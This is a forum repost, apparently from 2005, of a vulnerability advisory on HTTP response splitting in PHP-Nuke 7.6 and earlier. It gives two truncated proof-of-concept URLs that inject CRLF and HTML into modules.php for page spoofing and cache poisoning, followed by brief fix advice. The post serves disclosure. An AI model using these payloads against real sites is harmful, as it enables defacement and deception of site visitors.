‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载]PHP-NUKE <=7.6 Http Response Splitting Vuln.

宿心劫

荣誉会员

Rank: 6Rank: 6Rank: 6

帖子
108 
精华
4 
积分
3417 
阅读权限
100 
性别
男 
来自
浙江 
在线时间
4 小时 
注册时间
2004-12-19 
最后登录
2008-10-28 
楼主 大 中 小 发表于 2005-4-19 01:19  只看该作者

[转载]PHP-NUKE <=7.6 Http Response Splitting Vuln.

  信息来源：irc.areaunix.com

http://localhost/modules.php?nam ... d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5


A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,


http://localhost/modules.php?nam ... 3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5



Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.


Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.
_________________
AreaUnix
Security Research & Shell Reviews

http://www.areaunix.com

irc.areaunix.com
风停了 又吹 我忽然想起谁 天亮了 又黑 我过了好几岁 心暖了 又灰 世界有时候孤单的很需要另一个同类

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题